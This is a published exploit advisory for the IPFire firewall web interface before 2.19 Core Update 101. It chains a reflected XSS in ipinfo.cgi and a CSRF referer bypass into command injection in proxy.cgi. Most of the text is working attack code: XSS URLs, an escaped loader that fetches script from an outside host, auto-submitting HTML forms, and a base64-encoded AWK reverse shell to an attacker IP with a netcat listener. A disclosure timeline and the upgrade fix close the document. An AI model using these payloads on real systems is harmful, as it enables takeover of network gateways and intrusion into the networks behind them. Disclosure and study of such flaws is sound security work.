######################################################################################
# Exploit Title: IPFire < 2.19 Update Core 101 XSS to CSRF to Remote Command Execution
# Date: 04/05/2016
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.ipfire.org
# Version: lesser-than 2.19 Core Update 101
# Category: Remote Command Execution / XSS
# Google dork:
# Tested on: IPFire distribution
######################################################################################


IPFire firewall/router distribution description :
======================================================================

IPFire is a free Linux distribution which acts as a router and firewall in the first instance. It can be maintained via
a web interface. The distribution furthermore offers selected server daemons and can easily be expanded to a SOHO server.

IPFire is based on Linux From Scratch and is, like the Endian Firewall, originally a fork from IPCop. Since Version 2,
only IPCop's web interface is used.


Vulnerability description :
======================================================================

As others linux-router based firewall that I've tested and analyzed, IPFire (based on IPCop) have some vulnerabilities.
Through an XSS, it's possible to bypass CSRF-referer checking and exploit a Remote Command Execution to gain a full reverse-shell.
The method detailed below is very similar to the one presented in my previous article for IPCop some year ago.

IPCop 2.1.4 Remote Command Execution : https://www.asafety.fr/vuln-exploit-poc/xss-rce-ipcop-2-1-4-remote-command-execution/


Proof of Concept 1 :
======================================================================

A non-persistent XSS in GET param is available in the ipinfo.cgi. The injection can be URLencoded with certain browsers
or blocked with Anti-XSS engine.
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.

File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
    &Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);

PoC:
https://<IPFire>:444/cgi-bin/ipinfo.cgi?<script>alert(/RXSS-Yann_CAM_-_Security_Consultant_@ASafety_-_SYNETIS/)</script>


Proof of Concept 2 :
======================================================================

CSRF exploit bypass from previous XSS.
IPFire is protected against CSRF attack with a referer checking on all page.
It's possible to bypass this protection with the previous XSS detailed.
To do this, load a third party JS script with the XSS, and make Ajax request over IPFire context (so with the right referer).
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.

File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
    &Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);

PoC :

Host a third party JS script on a web server accessible from IPFire. In this JS script, load JQuery dynamically and perform any AJAX request to an IPFire targeted page.
All AJAX request bypass the CSRF protection.

 * Third party JS script, host in http://<PENTESTER_WEBSITE>/x.js:

var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq);
function loadX(){ // AJAX CSRF bypass referer checking !
    $.ajax({
      type: 'POST',
      url: "https://<IPFire_IP>:444/cgi-bin/<TARGETED_PAGE>",
      contentType: 'application/x-www-form-urlencoded;charset=utf-8',
      dataType: 'text',
      data: '<YOUR_DATA>'
    }); // payload of your choice
  }
setTimeout("loadX()",2000);

 * XSS to load dynamically this third party script :

var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);

 * Escape this string with escape() Javascript method :

%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09

 * Make the final URL with XSS in GET param that load dynamically the third party script (IE) :

https://<IPFire_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script>


Proof of Concept 3 :
======================================================================

Remote Command Execution in the proxy.cgi file. This file is protected from CSRF execution.
Affected version < 2.19 Core Update 101.

File /srv/web/ipfire/cgi-bin/proxy.cgi line 4137 :
    system("/usr/sbin/htpasswd -b $userdb $str_user $str_pass");

The $str_pass isn't sanitized before execution in command line. It's possible to change the "NCSA_PASS" and "NCSA_PASS_CONFIRM" post data with arbitrary data.



So the RCE can be exploited with this PoC (if the Referer is defined to IPFire URL) :

<html>
  <body>
    <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
      <input type='hidden' name='NCSA_PASS' value='||touch /tmp/x;#' />
      <input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch /tmp/x;#' />
	  <input type='hidden' name='NCSA_USERNAME' value='yanncam' />
      <input type='hidden' name='ACTION' value='Ajouter' />
    </form>
    <script>document.forms['x'].submit();</script>
  </body>
</html>

Note that the ACTION POST param depend on the IPFire language defined.


Proof of Concept 4 :
======================================================================

Finally, with these three previous PoC, it's possible to combine all the mechanisms to gain a full reverse-shell on IPFire.
IPFire does not have netcat nor telnet, socat, python, ruby, php etc ...
The only way to make a reverse-shell is to use Perl or AWK technics. In this PoC, it's the AWK technic that is used :
(From ASafety Reverse-shell cheat-sheet : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/)

 * The reverse-shell one-line with AWK is :

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

 * To bypass IPFire filter, you need to encode this command in base64 (after modify <IP> and <PORT>) :

YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==

 * Place a \n at each bloc of 64 chars in the base64 version :

YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==

 * This payload can be echo'ed and decoded with openssl, on the fly, into IPFire :

echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d

 * To execute this payload, add backticks and eval call :

eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`

 * Your payload is ready to be used into POST param in proxy.cgi, like the previous PoC :

||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#

 * Full PoC (IPFire < 2.19 Core Update 101)
 (if the referer is defined to IPFire URL, and a netcat is listening # nc -l -vv -p 1337) :

<html>
  <body>
    <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
      <input type='hidden' name='NCSA_PASS' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
      <input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
	  <input type='hidden' name='NCSA_USERNAME' value='yanncam' />
      <input type='hidden' name='ACTION' value='Ajouter' />
    </form>
    <script>document.forms['x'].submit();</script>
  </body>
</html>

Note that none <IP>/<Port> are defined in the previous payload, you need to reproduce these different steps.

 * With the XSS method to bypass CSRF Referer checking, the third party JS script can be :

var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq);
function loadX(){ // AJAX CSRF bypass referer checking !
    $.ajax({
      type: 'POST',
      url: "https://<IPFire_IP>:444/cgi-bin/proxy.cgi",
      contentType: 'application/x-www-form-urlencoded;charset=utf-8',
      dataType: 'text',
      data: 'NCSA_USERNAME=yanncam&ACTION=Ajouter&NCSA_PASS=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#&NCSA_PASS_CONFIRM=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#'
    });
  }
setTimeout("loadX()",2000);

 * A demonstration video has been realised as PoC here (IPFire < 2.19 Core Update 101) : https://www.youtube.com/watch?v=rBd21aXU83E


Solution:
======================================================================
- Upgrade to IPFire 2.19 Core Update 101

I just want to thank Michael TREMER for his availability, his kindness, his correction speed and quality of the IPFire project I am a regular user.


Report timeline :
======================================================================

2016-04-03 : Vulnerabilities discovered in the latest IPFire version
2016-04-04 : IPFire team alerted with details and PoC through forum and bugtracker
2016-04-05 : Several exchanges between Michael TREMER and me on the BugTracker to fix these vulnerabilities
2016-04-05 : CVE assigment request sent by IPFire team
2016-04-06 : CVE ID denied without any reason, emailed back
2016-04-08 : CVE ID denied again without any reason
2016-04-27 : IPFire 2.19 Core Update 101 available for testing
2016-05-02 : IPFire 2.19 Core Update 101 released


Additional resources :
======================================================================

- www.ipfire.org
- www.ipfire.org/news/ipfire-2-19-core-update-101-released
- planet.ipfire.org/post/ipfire-2-19-core-update-101-is-available-for-testing
- www.ubuntufree.com/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui/
- news.softpedia.com/news/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui-503608.shtml
- www.openwall.com/lists/oss-security/2016/04/05/5
- seclists.org/oss-sec/2016/q2/15
- www.synetis.com
- www.asafety.fr
- www.youtube.com/watch?v=rBd21aXU83E


Credits :
======================================================================

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  88         88    88  8.    88      88  88            88    88          888
  888       ,88     8I88     88      88   88      88   88    88  .88     .88
   ?8888888888.     888      88      88    88888888    8888  88   =88888888
       888.          88
                    88    www.synetis.com
                 8888  Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety


--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr